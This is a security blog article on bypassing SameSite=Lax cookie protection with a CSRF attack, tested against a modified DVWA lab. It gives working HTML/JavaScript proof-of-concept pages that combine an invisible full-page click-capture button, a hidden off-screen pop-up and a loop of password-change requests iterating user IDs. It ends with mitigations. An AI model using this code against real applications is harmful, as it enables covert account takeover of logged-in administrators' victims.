In order to prevent CSRF (Cross-Site Request Forgery) attacks, security best practices such as those of OWASP recommend the use of a synchronization token model or anti-CSRF token.

The absence of a token does not necessarily lead to vulnerability, and several factors can make exploitation difficult or mitigate the impact:

  • Setting the SameSite attribute to Lax or Strict on the session cookie.
  • Use of JSON or other data formats.
  • Use of methods other than GET or POST.

Setting the SameSite attribute to Lax is what will interest us in this article.

This article shows how a CSRF attack can be used to make multiple cross-origin requests, despite the session cookie being protected by the SameSite attribute.

The tests were carried out on Firefox 126.0 (64-bit) and Chrome 124.0 under Linux.

Article is also available in french 🇫🇷

SameSite reminder

The SameSite attribute controls whether a cookie is sent with cross-origin / cross-site requests, offering protection against CSRF attacks.

Mozilla defines the origin of a request as follows:

Two URLs have the same origin if the protocol, port (if specified), and host are the same for both. The following table gives examples of origin comparisons with the URL http://store.company.com/dir/page.html:

URL Result Reason
http://store.company.com/dir2/other.html Success Only the path differs
http://store.company.com/dir/inner/another.html Success Only the path differs
https://store.company.com/secure.html Failure Different protocols
http://store.company.com:81/dir/etc.html Failure Different Ports
http://news.company.com/dir/other.html Failure Different hosts

The SameSite attribute enforces restrictions on cross-origin requests. The values of this attribute are as follows:

  • Scrict : no cross-origin request allowed, clicking on a link will not send the cookie concerned
  • Lax: cross-origin request allowed for the GET method and only the query resulting from a Top-level navigation performed by the user, for example by clicking on a link.
  • None: no restriction

If this attribute is not set, modern browsers increasingly tend to treat the cookie with the value Lax. This behavior is not generalized, however, due to potential side effects.

Scenario

  • An application has set SameSite=Lax on the session cookie;
  • The endpoint /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change is an administrator feature for changing a user’s password on the application;
  • The id parameter identifying the user is iterable, but not predictable;
  • There is no request for a second factor or the current password on the password change form.

A classic CSRF attack would be to send a link to an administrator pointing to /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change with the id parameter corresponding to the user to be changed.

However, in this case, it is not possible to determine the identifier associated with the user you wish to modify. The id parameter is, however, iterable, so that by incrementing the identifier, we can find the desired user.

It is therefore necessary to carry out several queries to find the right id parameter.

In a phishing scenario, a user will probably only click on one of the links sent, so the link target must allow multiple queries.

For the proof-of-concept, I used a version of DVWA, modifying a few files and parameters. If you wish to reproduce my environment, the modifications are detailed at the end of the article in the "Test application used" section.

Wrong solution – Multiple images

How do you make several GET requests from the opening of a single page?

You might think that AJAX or Fetch calls are a good idea, but browsers place additional restrictions on these functions, so it’s better to use form submissions or other "natural" navigation actions.

For example, Firefox can block cross-origin cookies via its Enhanced Tracking Protection.

Using images, with our payload as the source, might seem a good idea, as a <img /> tag seems harmless. Let’s test with the following HTML file :

<html>
  <body>
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=5&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=4&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=3&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=2&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=1&Change=Change">
  </body>
</html>

If a logged-in administrator on the target site opens a page containing the above code, 5 GET requests will indeed be performed:

Multiple GET requests when loading images

Multiple GET requests when loading images

However, the cookie is not sent with these requests:

Burp inspection of the GET request made when loading images

Burp inspection of the GET request made when loading images

This is easily explained if you read the Firefox documentation on the subject:

Lax: The cookie is not sent on cross-site requests, such as calls to load images or iframes, but is sent when a user navigates to the original site from an external site (for example, if they follow a link).

So we’ll have to come up with something else!

Solution

The aim is to phish a connected user to a page under our control, so that this page makes multiple GET requests to /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change, iterating over the id parameter.

The following actions are called top-level navigation and enable a GET request to be made with cookies configured with SameSite=Lax :

  • Manual click on a link ;
  • Redirect by modifying the Window.location property;
  • Sending a form using the GET method.

The problem with these 3 methods is that they will redirect our page to the page of the targeted application. It will then not be possible to make any further GET requests.

To overcome this problem, we’re going to edit the Window.location property, but on a Window object other than the malicious page used, in order to avoid redirection.

The call to window.open(url,target,windowFeatures) is used to load a specific resource in a browsing context (a tab, window or iframe). The return of this call is a Window object as desired.

Below is the source code for the page that will open a new tab to our target and update the location property in order to perform multiple GET requests:

<html>
    <h1>CSRF pop-up PoC</h1>

    <script>
        const pwd = "toto";
        const url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
        var id = 100; 
        var popup = window.open(url+id,"_blank");

        console.log(popup);
        function postLoop() {
            setTimeout(function(){
                if (id > 1){
                    id--;
                    console.log("Update location attribute for id: "+id);
                    popup.location = url+id ;
                    postLoop();
                }
            }, 500);
        }

        postLoop();
    </script>
</html>

But why update the location property and not just open lots of tabs?

Several reasons:

  1. Opening 1 tab or window is already not very discreet, so opening 50…
  2. The browser will prevent this. In my tests, Firefox allowed me to open 20 tabs before displaying a warning (and blocking all other openings):
Firefox blocks opening of multiple tabs

Firefox blocks opening of multiple tabs

Well, let’s test the above PoC on our application… result?

Firefox blocking pop-up opening

Firefox blocking pop-up opening

Gone are the days when opening our favorite shady sites would open up a whole host of ads with highly relevant content! Unless explicitly authorized, pop-ups are blocked on modern browsers (and thank you).

There are, however, events that allow pop-ups to be opened without being blocked: change click dblclick auxclick mousedown mouseup pointerdown pointerup notificationclick reset submit touchend contextmenu, but these events require a user action.

Here, we’ll :

  • Listen for the click event on a button to open our window and get a Window object to update the location property.
  • Use CSS so that our button fills the entire page and is invisible.
  • Add an iframe pointing to the legitimate application page, so as not to alert the user (assuming the X-Frame-Options header is not returned by the targeted site).
  • Add options to minimize the visibility of the window opened after the user click.

The modified code is as follows:

<html>
    <style>
        /* Style so that the button takes up the entire page */
        #openButton {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            z-index: 999; /* Make sure to be above other elements */
            opacity: 0; /* invisible button */
            cursor: default; /* Show a classic pointer*/
        }
    </style>

    <!-- Iframe to make the user think they're on an application page -->
    <body>
    <iframe width="100%" height="100%" frameborder="0" src="http://127.0.0.1:4280/index.php"></iframe>

    <!-- The button you want the victim to click -->
    <button id="openButton">Open Link</button>

    <!-- Intercept the event on the button click to open a pop-up without warning -->
    <script>
    document.getElementById('openButton').addEventListener('click', function(event) {
        const pwd = "CSRF_succeed"
        var url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
        var id = 100;
        var features = 'width=1,height=1,left=10000,top=10000,toolbar=no,location=no,status=no,menubar=no,scrollbars=no';
        var popup = window.open(url+id,'_blank',features);

        // regular modification of popup location property
        // to perform multiple GET requests
        console.log(popup);
        console.log(popup.location);
        function getLoop() {
            setTimeout(function(){
                if (id > 1){
                    id--;
                    console.log("update open location to id "+id);
                    popup.location = url+id ;
                    getLoop();
                }
            }, 100);
        }

        getLoop();
    });

    </script>
    </body>

</html>

Let’s test this, simulating our attack:

We can see the following:

  1. The user logs on to the DVWA application;
  2. He opens a new window and navigates to our link hosting our payload (we simulate phishing);
  3. When clicked, the location property of the window is quickly updated in the console;
  4. The open window was on a second screen and very small, making it quite invisible to the user;
  5. Expanding this window reveals that the last request updated the password, as can be seen by logging out of the application and then trying to log in with the old password.

Note: ways of hiding or minimizing the open window vary from browser to browser.

To go further

Be (a little) more discreet

In the PoC video above, the window is left open so that you can enlarge it to see the password change. It is of course possible to close it after making the requests, and also to redirect our initial malicious page to the legitimate site.

We can modify our getLoop function by adding an else condition to handle the end of our requests:

function getLoop() {
    setTimeout(function(){
        if (id > 1){
            id--;
            console.log("update open location to id "+id);
            popup.location = url+id ;
            getLoop();
        }else{
            // close our window & redirect the current page
            popup.close();
            window.location = "http://127.0.0.1:4280/index.php";
        }
    }, 10);
}

"Too bad, only GET requests!"

There are workarounds that allow requests to be made using other methods. In particular, Web frameworks that support method overloading. For example, with Symfony, it’s possible to specify a _method parameter that will indicate the actual method used.

I won’t go into detail on these points, as many articles already explain them very well. The article Bypassing Samesite Cookie Restrictions with Method Override lists some of the Web frameworks that support method override.

PortSwigger has also set up a lab to test this behavior.

Finally, in a simpler way, some Web applications retrieve parameter data passed, regardless of whether they are passed in the request body via a POST method or in url via GET. Here are a few examples:

  • PHP: superglobal variable $_REQUEST["param"] ;
  • Java (Spring Boot): the getParameter("param") method on a HttpServletRequest object;

Correction

How can I protect myself against this attack? The best solution is to implement an anti-CSRF token, following the best practices of OWASP. However, this may require additional development, which is not necessarily obvious if the technology used does not offer a ready-made solution.

Alternative solutions can be implemented first. In the following solutions, it is assumed that the session cookie always has the SameSite attribute set to Lax :

  • Cookie with SameSite option at Strict: Effective, but will impact usability as no cross-site requests will be allowed with cookies, even redirects or clicking on links;
  • Use methods other than GET: The session cookie will not be transmitted thanks to the SameSite attribute to Lax.
  • Impose a 2nd factor for sensitive actions, such as the user’s current password.

Test application used

The application used for the PoC is DVWA.

On line 54 of the DVWA/dvwa/includes/dvwaPage.inc.php file, the dvwa_start_session function is modified to set the value of the SameSite attribute to Lax :

    else {
        $httponly = false;
        $samesite = "Lax";
    }

On the password change page, we add a check of the identifier passed in parameter, which must correspond to the logged-in user. To do this, we modify the DVWA/vulnerabilities/csrf/source/low.php file:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    $id_input = $_GET['id'];

    $current_user = dvwaCurrentUser();

    // get current user id and check if supplied id match
    $query = "SELECT `user_id` FROM users WHERE user= '" . $current_user . "';";
    $res = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"])) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $user_id = mysqli_fetch_assoc($res)['user_id'];

    $html .= "<pre> id from DB : ".$user_id. "</br>ID provided: ".$id_input."</br></pre>";

    // Do the passwords match and user id match?
    if( $pass_new == $pass_conf && $user_id == $id_input) {
        [no modification]
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords or id did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

You can also modify the form on line 62 of the DVWA/vulnerabilities/csrf/index.php file to add the id field to the password change request:

$page[ 'body' ] .= "
            New password:<br />
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
            Confirm new password:<br />
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
            ID of account:<br />
            <input type=\"text\" AUTOCOMPLETE=\"off\" name=\"id\"><br />
            <br />
            <input type=\"submit\" value=\"Change\" name=\"Change\">\n";

Once the changes have been made, we can build the images and launch the containers. The command run in the DVWA root folder: sudo docker-compose up -d --build.

Then we change the application’s security level from the interface to Low so that the application uses the modified password change functionality:

Changing the security level in the DVWA interface

Changing the security level in the DVWA interface

References